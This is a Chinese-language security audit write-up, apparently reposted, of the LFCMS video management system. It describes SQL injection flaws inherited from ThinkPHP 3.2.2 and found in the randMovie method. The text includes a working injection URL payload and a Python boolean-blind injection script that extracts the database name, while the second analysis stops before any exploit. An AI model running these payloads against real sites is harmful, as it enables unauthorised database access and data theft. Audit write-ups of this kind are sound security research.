LFCMS的一次审计

最近想着提升一下审计代码的能力,于是找了一些小众的CMS系统来审计一下,希望可以在审计过程中对MVC设计模式的程序有更深的理解,本文挑选了一个小众的影视管理系统LFCMS,下载地址见文末

漏洞分析前台sql注入(一)

该处前台注入点实质上是由于程序所采用的框架漏洞所导致的,程序采用了thinkphp3.2.2,众所周知该版本的tp框架存在sql注入,详细分析文章可以参考下面的链接:

https://xz.aliyun.com/t/2629

回到lfcms,漏洞起始点位于/Application/Home/Controller/NewsController.class.php中的index方法,代码如下

LFCMS的一次审计

在代码第六行调用了News模型中的detail方法,跟进该方法

LFCMS的一次审计

可以看到在第八行进而调用了tp的find方法,在该版本中find方法是可以进行注入的,同时参数$id是我们可控的,首先我们来看一下正常的输入情况(图中域名为本地搭建解析)

LFCMS的一次审计

根据tp3.2的注入点构造一下语句,访问如下链接

?id[alias]=where id=1 and 1--

页面与正常访问相比没有变化,查看一下数据库日志,看下后端数据库语句

LFCMS的一次审计

可以看到在id处已经可以进行sql语句的拼接,也就证明该处是存在可利用的注入点的,由于本套程序对于错误信息是有屏蔽的,在这里我们很难利用报错注入带出数据,在该处可以考虑使用布尔类型的盲注,两种回显状态如下

LFCMS的一次审计

LFCMS的一次审计

接着写一下脚本(以查询数据库名为例)

import requests
url = 'http://lfcms.com/index.php/Home/News/index/?id[alias]=where id=1 and '
result = ''
for i in range(1,50):
print('-----------------------------')
for j in range(32,127):
payload = 'if((ascii(substr((select database()),{},1))={}),1,0)--'.format(i,j)
temp = url+payload
try:
html = requests.get(temp,timeout=10)
if 'tttest' in html.text:
result+=chr(j)
print(result)
break
except:
print('[-]error')

结果如下

LFCMS的一次审计

相同原理的利用点还有很多,如位于/Application/Home/Controller/MovieController.class.php中的index方法的id参数,这里就不再重复分析了

前台SQL注入(二)

漏洞起始点位于/Application/Home/Controller/AjaxController.class.php文件中的randMovie方法,代码如下

LFCMS的一次审计

第七行代码中调用了Ajax模型中的randMovie方法,同时limit和category是我们输入的可控的参数,跟进randMovie方法

public function randMovie($limit=6,$category='') {
if($category) {
$type='and category='.$category;
}
$prefix=C('DB_PREFIX');
$mlist=M()->query('SELECT * FROM `'.$prefix.'movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `'.$prefix.'movie`)-(SELECT MIN(id) FROM `'.$prefix.'movie`))+(SELECT MIN(id) FROM `'.$prefix.'movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx '.$type.' ORDER BY t1.id LIMIT '.$limit);
foreach($mlist as $key=>$value) {
$list[$key]=D('Tag')->movieChange($value,'movie');
}
return $list;
}

在这里注意到$type与$limit在sql语句执行时均没有被单引号包裹,直接拼接到语句当中,这里就存在了sql注入的可能,首先我们在movie表里放一条数据,看一下正常执行时sql语句是如何执行的

LFCMS的一次审计

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/11673fedf46329bac8456b3e299eabae.html